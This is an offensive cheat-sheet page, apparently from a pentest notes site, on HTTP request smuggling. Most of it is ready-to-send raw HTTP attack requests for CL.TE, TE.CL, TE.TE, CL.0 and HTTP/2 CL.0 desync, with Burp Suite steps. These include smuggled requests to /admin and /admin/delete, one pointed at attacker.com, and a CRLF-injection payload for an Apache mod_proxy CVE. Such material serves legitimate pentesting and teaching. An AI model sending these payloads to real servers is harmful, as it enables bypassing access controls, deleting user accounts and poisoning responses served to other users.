# HTTP Request Smuggling

### [Investigation](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#investigation) <a href="#investigation" id="investigation"></a>

Assume the website has the following HTTP specification.

```bash
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin
Copied!
```

If we change **"Content-Length"** to **"Transfer-Encoding"** as follow, the data is sent in chunks to server. Each chunk consists of the chunk size in bytes (it is expressed in hexadecimal).

The message is terminated with a chunk of size zero.

```bash
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

1d
username=admin&password=admin
0
Copied!
```

By the way, **Transfer-Encoding** header is not allowed in **HTTP/2**.

<br>

### [Exploitation Automatically](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#exploitation-automatically) <a href="#exploitation-automatically" id="exploitation-automatically"></a>

BurpSuite has the useful extension **“HTTP Request Smuggler”**.

<br>

### [CL.TE (Content-Length . Transfer-Encoding)](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#cl.te-\(content-length-.-transfer-encoding\)) <a href="#cl.te-content-length-.-transfer-encoding" id="cl.te-content-length-.-transfer-encoding"></a>

The front-end server uses “Content-Length” header and the back-end server uses “Transfer-Encoding” header.

Send the following request twice.

```bash
POST /item HTTP/1.1
Host: example.com
Content-Length: 9
Transfer-Encoding: chunked

0

EVIL
Copied!
```

If the response delays, we may be able to request smuggling.

#### [Exploitation](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#exploitation) <a href="#exploitation" id="exploitation"></a>

The front-end server uses the “Content-Length” header, so

```bash
POST /item HTTP/1.1
Host: example.com
Content-Length: 9
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: example.com
Foo: xGET / HTTP/1.1
Host: example.com
Copied!
```

<br>

### [TE.CL (Transfer-Encoding . Content-Length)](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#te.cl-\(transfer-encoding-.-content-length\)) <a href="#te.cl-transfer-encoding-.-content-length" id="te.cl-transfer-encoding-.-content-length"></a>

The front-end server uses **“Trans-Encoding”** header and the back-end server uses **“Content-Length”** header.\
Send the following request twice.

If you use BurpSuite, check the **“Update Content-Length”** option is unchecked to avoid BurpSuite automatically changes the Content-Length depending on data sent.

```bash
POST  HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked

4
EVIL
0
Copied!
```

If the response delays, we may be able to request smuggling.

#### [Exploitation](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#exploitation-1) <a href="#exploitation-1" id="exploitation-1"></a>

Send the following request twice.

```bash
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
Copied!
```

<br>

### [TE.TE (Transfer-Encoding . Transfer-Encoding)](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#te.te-\(transfer-encoding-.-transfer-encoding\)) <a href="#te.te-transfer-encoding-.-transfer-encoding" id="te.te-transfer-encoding-.-transfer-encoding"></a>

Both the front-end server and the back-end server support the **“Transfer-Encoding”** header but one of the servers can be induced not to process it by obfuscating the header.

```bash
Transfer-Encoding: xchunked

Transfer-Encoding: chunked
Transfer-Encoding: x
Copied!
```

<br>

### [CL.0 (Content-Length: 0)](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#cl.0-\(content-length%3A-0\)) <a href="#cl.0-content-length-3a-0" id="cl.0-content-length-3a-0"></a>

If the target website ignores the Content-Length, you’re able to access the restricted page by request smuggling.

#### [1. Prepare the Two Same Requests](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#1.-prepare-the-two-same-requests) <a href="#id-1.-prepare-the-two-same-requests" id="id-1.-prepare-the-two-same-requests"></a>

If you're using Burp Suite, send the target request to **Repeater** twice.

#### [2. Change the First Request to POST Request](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#2.-change-the-first-request-to-post-request) <a href="#id-2.-change-the-first-request-to-post-request" id="id-2.-change-the-first-request-to-post-request"></a>

#### [3. Set the "Content-Length: 0" in the First Request](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#3.-set-the-%22content-length%3A-0%22-in-the-first-request) <a href="#id-3.-set-the-22content-length-3a-0-22-in-the-first-request" id="id-3.-set-the-22content-length-3a-0-22-in-the-first-request"></a>

#### [4. Set the "Connection: keep-alive" in the First Request](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#4.-set-the-%22connection%3A-keep-alive%22-in-the-first-request) <a href="#id-4.-set-the-22connection-3a-keep-alive-22-in-the-first-request" id="id-4.-set-the-22connection-3a-keep-alive-22-in-the-first-request"></a>

Now two requests should look like:

```sh
# Request 1
POST / HTTP/1.1
Host: example.com
Cookie: key=value
Connection: keep-alive
Content-Length: 0

GET /admin/delete?username=john
Foo: x

# -------------------------------------------------

# Request 2
GET / HTTP/1.1
Host: example.com
Cookie: key=value
Connection: close
Copied!
```

#### [5. Send Requests in Order](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#5.-send-requests-in-order) <a href="#id-5.-send-requests-in-order" id="id-5.-send-requests-in-order"></a>

First off, if you're using Burp Suite, note that **enabling the "Update Content-Length" in the Burp Repeater option.** The sequence is Request 1 -> Request 2.

<br>

### [HTTP/2 CL.0 (Content-Length: 0)](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#http%2F2-cl.0-\(content-length%3A-0\)) <a href="#http-2f2-cl.0-content-length-3a-0" id="http-2f2-cl.0-content-length-3a-0"></a>

#### [1. Prepare Request](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#1.-prepare-request) <a href="#id-1.-prepare-request" id="id-1.-prepare-request"></a>

If you're using Burp Suite, note that **disable "Update Content-Length" and enable "Allow HTTP/2 ALPN override" in the Burp Repeater option.**

The request shoud look like:

```sh
POST / HTTP/2
Host: example.com
Content-Length: 0

GET /exploit HTTP/1.1
Host: attacker.com
Content-Length: 5

x=1
Copied!
```

#### [2. Send Request](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#2.-send-request) <a href="#id-2.-send-request" id="id-2.-send-request"></a>

Before doing, don't forget to **expand the Inspector on the right in the Repeater and select "HTTP/2".**\
Now send the request a few times.

<br>

### [mod\_proxy Misconfiguration on Apache ≥2.4.0, 2.4.55≤(CVE-2023-25690)](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#mod_proxy-misconfiguration-on-apache-%E2%89%A52.4.0%2C-2.4.55%E2%89%A4\(cve-2023-25690\)) <a href="#mod_proxy-misconfiguration-on-apache-e2-89-a52.4.0-2c-2.4.55-e2-89-a4-cve-2023-25690" id="mod_proxy-misconfiguration-on-apache-e2-89-a52.4.0-2c-2.4.55-e2-89-a4-cve-2023-25690"></a>

Reference: <https://github.com/dhmosfunk/CVE-2023-25690-POC>

If target web server allows any characters (`.*`) in `RewriteRule`, it causes HTTP request smuggling.

```bash
RewriteEngine on
RewriteRule "^/products/(.*)" "http://127.0.0.1:8080/?productId=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/"
Copied!
```

#### [Send Request with CRLF (`\r`) Injection](https://exploit-notes.hdks.org/exploit/web/security-risk/http-request-smuggling/#send-request-with-crlf-\(%5Cr%5Cn\)-injection) <a href="#send-request-with-crlf-5cr-5cn-injection" id="send-request-with-crlf-5cr-5cn-injection"></a>

```bash
GET /products/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1

# It means the following:
#
# GET /products/1 HTTP/1.1
# Host: 127.0.0.1
#
# GET /SMUGGLED HTTP/1.1
Copied!
```

### References

* <https://portswigger.net/web-security/request-smuggling>
